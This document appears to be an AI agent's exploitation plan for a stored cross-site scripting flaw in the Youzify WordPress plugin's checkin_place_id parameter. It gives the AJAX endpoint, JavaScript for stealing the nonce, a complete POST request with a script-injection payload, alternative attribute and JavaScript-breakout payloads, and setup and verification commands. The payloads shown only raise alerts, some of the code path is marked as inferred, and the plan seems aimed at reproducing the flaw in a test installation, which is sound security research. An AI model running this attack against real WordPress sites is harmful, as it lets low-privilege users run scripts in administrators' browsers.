Exploitation Research Plan: CVE-2026-1559 - Youzify Stored XSS

1. Vulnerability Summary

The Youzify plugin (formerly Youzer) for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to and including 1.3.6. The vulnerability exists because the plugin fails to sanitize or escape the checkin_place_id parameter when processing and displaying activity updates with "check-in" location data. An authenticated attacker with Subscriber-level access can inject malicious scripts into this parameter, which are then executed in the context of any user (including administrators) viewing the activity feed.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: youzify_post_update (Registered via bp_ajax_register_action in class-youzify.php, Line 118).
• Vulnerable Parameter: checkin_place_id
• Authentication Required: Subscriber (PR:L) or higher.
• Preconditions: BuddyPress must be active (Youzify depends on it), and the "Check-in" feature must be available on the activity wall.

3. Code Flow

1. Entry Point: The client sends an AJAX request to admin-ajax.php with the action youzify_post_update.
2. Registration: class-youzify.php hooks this action via BuddyPress:

   bp_ajax_register_action( 'youzify_post_update' );
   

3. Processing (Inferred): The logic resides in YOUZIFY_CORE . 'functions/general/youzify-wall-functions.php' (included in class-youzify.php, Line 50) or class-youzify-ajax.php. The handler retrieves $_POST['checkin_place_id'] and saves it as activity metadata using bp_activity_add_meta() or stores it directly within the activity content string.
4. Display Sink (Inferred): When the activity stream is rendered (frontend or backend), Youzify retrieves this metadata and outputs it inside an HTML attribute (e.g., data-place-id="...") or as part of a Google Maps initialization script without using esc_attr() or esc_js().

4. Nonce Acquisition Strategy

The youzify_post_update action is protected by a BuddyPress/Youzify nonce.

1. Shortcode Identification: The Youzify activity wall is typically rendered using the shortcode [youzify_activity].
2. Setup: Create a public page containing this shortcode.
3. Extraction:
   • Navigate to the page as an authenticated Subscriber.
   • Youzify localizes its configuration into a global JavaScript object. Use browser_eval to extract the nonce.
   • Potential Variable: youzify_vars.activity_nonce or youzify_vars.nonce.
   • Form Field: Check for a hidden input named _wpnonce_post_update inside the activity posting form.

Agent Command:

// Attempt to find the nonce in localized vars or form fields
browser_eval("window.youzify_vars?.activity_nonce || jQuery('#_wpnonce_post_update').val() || jQuery('input[name=\"_wpnonce\"]').val()");

5. Exploitation Strategy

The exploit involves sending a POST request to the AJAX endpoint simulating an activity update with a malicious location ID.

HTTP Request:

• URL: {{BASE_URL}}/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: youzify_post_update
  • _wpnonce_post_update: {{EXTRACTED_NONCE}}
  • content: Enjoying the view! #CheckIn
  • checkin_place_id: "><script>alert(document.domain)</script>
  • checkin_place_name: Malicious Location
  • cookie: {{SUBSCRIBER_COOKIES}}

6. Test Data Setup

1. Plugin Installation: Install Youzify 1.3.6 and BuddyPress.
2. User Creation: Create a user with the subscriber role.
3. Page Creation:

   wp post create --post_type=page --post_title="Activity Feed" --post_status=publish --post_content='[youzify_activity]'
   

4. Configuration: Ensure that the "Check-in" or "Location" feature is enabled in Youzify settings (Wall Settings).

7. Expected Results

• The AJAX response should return a success status (usually JSON {"success": true, "data": "..."}).
• A new activity item will be created in the database.
• When an administrator views the "Activity" page in the dashboard or the frontend feed, the injected script <script>alert(document.domain)</script> will execute.

8. Verification Steps

1. Check Database via CLI:
   Verify the metadata was stored raw:

   wp db query "SELECT meta_value FROM wp_bp_activity_meta WHERE meta_key = 'checkin_place_id' ORDER BY id DESC LIMIT 1;"
   

2. Check Activity Content:

   wp db query "SELECT content FROM wp_bp_activity ORDER BY id DESC LIMIT 1;"
   

3. Verify Execution:
   Navigate to the Activity page as Admin using browser_navigate and check if the alert or a specific DOM element created by the script is present.

9. Alternative Approaches

If checkin_place_id is reflected inside an attribute rather than raw HTML, the payload should be adjusted:

• Attribute Breakout: x" onmouseover="alert(1)" data-id="
• JS Sink: If the ID is passed to a Google Maps function like initMap('PAYLOAD'), use: ');alert(1);//
• Endpoint Check: If youzify_post_update is not the correct action, search for wp_ajax_ hooks in the includes/ directory specifically for "checkin" or "location" strings:

  grep -r "checkin_place_id" .
  ``` (This would be the first step for the agent if the primary endpoint fails).